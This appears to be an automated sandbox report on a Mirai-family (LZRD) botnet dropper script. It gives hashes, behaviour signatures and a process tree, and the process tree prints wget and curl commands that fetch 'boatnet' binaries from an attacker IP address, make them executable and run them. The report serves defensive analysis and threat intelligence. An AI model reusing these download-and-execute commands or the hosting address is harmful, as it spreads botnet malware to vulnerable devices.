Analysis
-
max time kernel
60s -
max time network
65s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
31-08-2024 21:05
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
debian12-armhf-20240418-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian12-mipsel-20240729-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral4
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral5
Sample
ohshit.sh
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral6
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral7
Sample
ohshit.sh
Resource
ubuntu2004-amd64-20240729-en
Behavioral task
behavioral8
Sample
ohshit.sh
Resource
ubuntu2204-amd64-20240611-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
fefdf2b7ece4d55bd47778b420f84011
-
SHA1
2823096e0538910f9b57ff9bae007ec655520fc3
-
SHA256
3611c98f0a496d5891dc7888ed43a5d9b5eae8b1b27186dbe8b9b83922ae66eb
-
SHA512
b1e1c59a9802ea141e48f395d3f5268c351687e7ca8758feb9b6882d51f230be3c72f657219816c82fa61bd811ce37bfb392c0a26d10d5b53bb333e7af03cf21
Malware Config
Extracted
mirai
LZRD
Signatures
-
Executes dropped EXE 6 IoCs
ioc pid Process /tmp/WTF 721 WTF /tmp/WTF 750 WTF /tmp/WTF 794 WTF /tmp/WTF 800 WTF /tmp/WTF 805 WTF /tmp/WTF 810 WTF -
resource yara_rule behavioral3/files/fstream-1.dat upx behavioral3/files/fstream-4.dat upx behavioral3/files/fstream-8.dat upx -
Checks CPU configuration 1 TTPs 6 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
Reads runtime system information 12 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl -
Writes file to tmp directory 11 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.x86_64 wget File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.arc wget
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:663 -
/usr/bin/wgetwget http://94.156.71.225/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:666
-
-
/usr/bin/curlcurl -O http://94.156.71.225/hiddenbin/boatnet.x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:677
-
-
/bin/catcat boatnet.x862⤵PID:719
-
-
/bin/chmodchmod +x boatnet.x86 ohshit.sh systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-7Xnobv WTF2⤵PID:720
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:721
-
-
/usr/bin/wgetwget http://94.156.71.225/hiddenbin/boatnet.mips2⤵
- Writes file to tmp directory
PID:724
-
-
/usr/bin/curlcurl -O http://94.156.71.225/hiddenbin/boatnet.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:731
-
-
/bin/catcat boatnet.mips2⤵PID:748
-
-
/bin/chmodchmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-7Xnobv WTF2⤵PID:749
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:750
-
-
/usr/bin/wgetwget http://94.156.71.225/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:754
-
-
/usr/bin/curlcurl -O http://94.156.71.225/hiddenbin/boatnet.arc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:791
-
-
/bin/catcat boatnet.arc2⤵PID:792
-
-
/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF2⤵PID:793
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:794
-
-
/usr/bin/wgetwget http://94.156.71.225/hiddenbin/boatnet.i4682⤵PID:796
-
-
/usr/bin/curlcurl -O http://94.156.71.225/hiddenbin/boatnet.i4682⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:797
-
-
/bin/catcat boatnet.i4682⤵PID:798
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh WTF2⤵PID:799
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:800
-
-
/usr/bin/wgetwget http://94.156.71.225/hiddenbin/boatnet.i6862⤵PID:801
-
-
/usr/bin/curlcurl -O http://94.156.71.225/hiddenbin/boatnet.i6862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:802
-
-
/bin/catcat boatnet.i6862⤵PID:803
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF2⤵PID:804
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:805
-
-
/usr/bin/wgetwget http://94.156.71.225/hiddenbin/boatnet.x86_642⤵
- Writes file to tmp directory
PID:806
-
-
/usr/bin/curlcurl -O http://94.156.71.225/hiddenbin/boatnet.x86_642⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:807
-
-
/bin/catcat boatnet.x86_642⤵PID:808
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵PID:809
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:810
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
41KB
MD5d209dadd662918c0360d992f693a4c88
SHA1ff29a4cb9d0d2a4ad7e15f7523bdc5d5d681f990
SHA256f461632cc61eaa9bcf7deb5dba0ca986c5ea65fb366fae6d329cee5458abd07d
SHA512809bb6cea3b997755c9464d90f6b3e18b2a007c2b55dcb85ef475e72f632f6c0ea435c9fb7567741ff5233204e958d234ca7ec8e69bfdffff1a8c1dab7c55aba
-
Filesize
113KB
MD5b07b623c82c30103949e473cb8f1dc5b
SHA1605c491a89e2d0e15f1e856c4f64592d63f7343b
SHA256dc6da971003c88fdafa96d46017b5c53bc87cb3f081e0be4d1342865c85bf898
SHA51223cd691cfae363b1194586f46403d58e1ea609c4655fba1eb295f344bd41b94ebbe15291b229678dcd3b72a8d2bff2dabfa645eb7e7f4b1d828168ed769d17b4
-
Filesize
220B
MD5f1c24d9fa40a047ae22d2d3ae7dfeac9
SHA1750274b02d5f5b00026a4f55b020f4285c693533
SHA256219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc
SHA51236bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259
-
Filesize
220B
MD5a8f502a6fb3b7b940e922c951d9e493a
SHA1fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf
SHA256748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec
SHA512e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338
-
Filesize
35KB
MD54de74a22ebb3b2008d93fdf898611bdb
SHA1eb8c46d817f3fca933e91e289897789122b73a54
SHA256728c84285231652ea1b50ed634d83ef0c6e60a78db8ce93a8ae578e21f677f7e
SHA5122bc0a4d9610ae4f15475a3eae1b85d812cb8c5229e53f09f2e47aaf26c6963eaffae5d57b27271f2bb35979ddf358e53adcebc1df503030e9854214af1a3c944
-
Filesize
36KB
MD5ba2cb5b8715ba94c39e24e75a34d0ea0
SHA17182bf3b0e14e5224e741c15174c6e93f00df444
SHA25601fad47db364d66c0a9ed9c6c5c558c5a95eb0d015bec4be5f1109d14e15ec33
SHA5120c26a32066b88dc22aada2ca606639e6717b84501402eac80107f7130fca6c43f6cd40e11e88ae1deda45320a6c726af04bf946818ef3099d84f31e523f9b33d